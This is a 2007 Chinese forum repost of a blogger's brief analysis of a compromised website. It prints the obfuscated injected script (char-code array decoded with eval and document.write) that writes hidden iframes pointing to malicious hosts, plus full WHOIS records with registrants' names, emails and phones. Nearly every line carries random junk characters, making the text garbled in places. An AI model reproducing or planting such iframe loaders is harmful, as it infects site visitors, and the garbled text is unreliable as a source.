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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, RkTO5XO  
v;$cx*?  
http://www.areway.cn/?p=175 FrL ;1zt  
#_9Jam%M  
9X ^D(  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: [qHtN.  
          NB)$l2<d  
<script>t=’60,105,102,114,97,109,101, e00s*LdC  
32,115,114,99,61,104,116,116,112,58,47,47, *T:gx:Sg/  
102,114,101,101,46,117,45,117,117,117,46,99, -_p@I+B  
110,47,101,114,114,111,114,46,104,116,109, O@7={)6qc  
32,119,105,100,116,104,61,49,48,48,32,104, ^sb+|b  
101,105,103,104,116,61,48,62,60,47,105,102, wNtPh&  
114,97,109,101,62′; "}ZUa~7  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> i0py5Q  
                                                                                                  : kw14?]_  
<script>t=’60,105,102,114,97,109,101,32,115, 9|5>?'CqP  
114,99,61,104,116,116,112,58,47,47,102,114, *If ]f0?%  
101,101,46,117,45,117,117,117,46,99,110,47, vWq/A.  
101,114,114,111,114,46,104,116,109,32,119, G W~ZmK  
105,100,116,104,61,49,48,48,32,104,101,105, XMi)PXs$  
103,104,116,61,48,62,60,47,105,102,114,97, lDF26<<\`  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ~X2 cTG!,  
document.write(t);</script> ov%.+5P  
                                                                                                  Y. 1dk  
<html xmlns=” j"wbq-n,7  
http://www.w3.org/1999/xhtml Q|&Wcxq2!  
“> cjyb:gAO  
<head> $?Z-BD1  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> > a"4aYj  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> VU ,tCTXz  
<title>首页 - 爱生活家庭网 ("T8mt[w>  
                                                                                                                                                    ?I}0[+)V  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 NWt5)xl  
转换字符串后的大概内容是(谁点击后果自付): Ou,Eu05jt'  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 68YJ@(iS  
                                                                                                                                  aX,ux9#  
查询玉米u-uuu.cn的详细信息: k`;&??  
Domain Name: u-uuu.cn O od?ifA  
ROID: 20070901s10001s64972306-cn y1*z," dx  
Domain Status: ok GkYD:o=qx  
Registrant Organization: 王雷 `bMwt?[*  
Registrant Name: 王雷 S/H!a:_5r  
Administrative Email: czlovexs@126.com 3lo.YLP^  
Sponsoring Registrar: 北京万网志成科技有限公司 .p?kAf`  
Name Server:ns.yovole.com )uxXG `,h  
Name Server:ns1.yovole.com 8Ssk>M*  
Registration Date: 2007-09-01 17:54 @$] CC1Y  
Expiration Date: 2008-09-01 17:54 r}~|,O3bc'  
最后PING了一下地址 都没有什么…. d_w^u|(K  
                                                                                                `@#,5S$ E  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. q+)csgN  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> UukHz}(E  
<script language=”javascript” src=” ~RIn7/A  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 1EcXvT=  
> C$#X6Q!,  
这个玉米应该有可能是木马作者的: [>xGynU0  
foafau.info的详细信息: M%@ =BT  
Access to INFO WHOIS information is provided to assist persons in ]YqeI*BX  
determining the contents of a domain name registration record in the [bZASeh  
Afilias registry database. The data in this record is provided by :^ *9E b  
Afilias Limited for informational purposes only, and Afilias does not M-+pYv#&P  
guarantee its accuracy.  This service is intended only for query-based ~vv\A5O[|  
access. You agree that you will use this data only for lawful purposes QJKVNOo  
and that, under no circumstances will you use this data to: (a) allow, mvrg!/0w  
enable, or otherwise support the transmission by e-mail, telephone, or ]xf|xs  
facsimile of mass unsolicited, commercial advertising or solicitations Mg^.~8\d e  
to entities other than the data recipient’s own existing customers; or .BqS E   
(b) enable high volume, automated, electronic processes that send &Dw8GU}1  
queries or data to the systems of Registry Operator, a Registrar, or ~ @Au<   
Afilias except as reasonably necessary to register domain names or hY^-kdQ>M  
modify existing registrations. All rights reserved. Afilias reserves {nyVC%@Y  
the right to modify these terms at any time. By submitting this query, elw}(l<F  
you agree to abide by this policy. E])X$:P?  
Domain ID:D22418703-LRMS WTZr{)e  
Domain Name:FOAFAU.INFO }2i3  
Created On:20-Nov-2007 16:05:42 UTC N,Ys}qP  
Last Updated On:20-Nov-2007 16:05:44 UTC "H!2{l{  
Expiration Date:20-Nov-2008 16:05:42 UTC L.1pO2zPe  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Bp:i[9w  
Status:CLIENT DELETE PROHIBITED a eo/4  
Status:CLIENT RENEW PROHIBITED BR[f{)a5  
Status:CLIENT TRANSFER PROHIBITED b*@y/ e\u`  
Status:CLIENT UPDATE PROHIBITED ?iQA>P9B  
Status:TRANSFER PROHIBITED f7Fr%*cO  
Registrant ID:GODA-040110615 .f~x*@  
Registrant Name:liu hong q9mYhT/Im  
Registrant Organization: p/GYfa dU  
Registrant Street1:beijing AroXf#.  
Registrant Street2: xs ^$fn\  
Registrant Street3: ]&kzIxh  
Registrant City:beijing _m8JU  
Registrant State/Province: BoMf#l.3B  
Registrant Postal Code:100000 TRSR5D[  
Registrant Country:CN ob3Z I  
Registrant Phone:+86.860108888777 l|onH;g\  
Registrant Phone Ext.: <D!\"C  
Registrant FAX: $xU5vCwAo  
Registrant FAX Ext.: KN"V(<!)~  
Registrant Email:bbbshiji@163.com #7~i.8L  
Admin ID:GODA-240110615 |[]"{Eo"}  
Admin Name:liu hong 2n`OcXCh/  
Admin Organization: 'G-zJcU  
Admin Street1:beijing *=O~TY<](  
Admin Street2: 0o+2]`q)Q  
Admin Street3: V9o_Q  
Admin City:beijing QA3q9,C"  
Admin State/Province: Z*Qra4GBl]  
Admin Postal Code:100000 0W1=9+c|X  
Admin Country:CN 5lMm8<v  
Admin Phone:+86.860108888777 .5PcprE/  
Admin Phone Ext.: ixFuqPij  
Admin FAX: &%/kPF~<  
Admin FAX Ext.: xo46L\  
Admin Email:bbbshiji@163.com nS}XY  
Billing ID:GODA-340110615 Im\{b=vT  
Billing Name:liu hong MxXu&.| _  
Billing Organization: @'yD(ZMAz  
Billing Street1:beijing Y=#g_(4*  
Billing Street2: s)~6 0c  
Billing Street3: '[h|f  
Billing City:beijing X)K3X:~L+  
Billing State/Province: 5YG?m{hyn_  
Billing Postal Code:100000 f/:XIG  
Billing Country:CN Y :0SrB!\  
Billing Phone:+86.860108888777 z7H[\4A!>  
Billing Phone Ext.: 3B<$6  
Billing FAX: j+c<0,Kj  
Billing FAX Ext.: _=.f+1W  
Billing Email:bbbshiji@163.com 3Hli^9&OX_  
Tech ID:GODA-140110615 >|[74#}7  
Tech Name:liu hong MOIH%lpe  
Tech Organization: ,\FJVS;NeJ  
Tech Street1:beijing Y M_\ ZK:  
Tech Street2: 9 OC!\' 8  
Tech Street3: 27t23@{YL  
Tech City:beijing b]NSCu*)s  
Tech State/Province: G^]7!:0  
Tech Postal Code:100000 #.(6.Li  
Tech Country:CN J=gerdIk  
Tech Phone:+86.860108888777 lF\oEMd*  
Tech Phone Ext.: C>qKKLZ  
Tech FAX: +##b}?S%  
Tech FAX Ext.: .cQ<F4)!tu  
Tech Email:bbbshiji@163.com [Pu~kiN  
Name Server:NS27.DOMAINCONTROL.COM H?P:;1A]c  
Name Server:NS28.DOMAINCONTROL.COM q,JMmhWaT  
Name Server: L.[ H   
Name Server: 0.~Pzg  
Name Server: L{)e1p]q  
Name Server: !6pOY*> j  
Name Server: 'y [eH  
Name Server: }wh)I]]U  
Name Server: ^+JpI*,  
Name Server: }/yhwijg  
Name Server: - T,;Fr'  
Name Server: pN)9 GO5  
Name Server: O6^>L0'  
                                                                                                          S3[rv  
接着下载每个文件里面的代码: +oZq~2?*S6  
一步一步看.. K.Tfu"6  
dooS|Mq  
Ocq.<#||H  
_(}{=:M?  
99@uU[&IJ  
n# %mL<  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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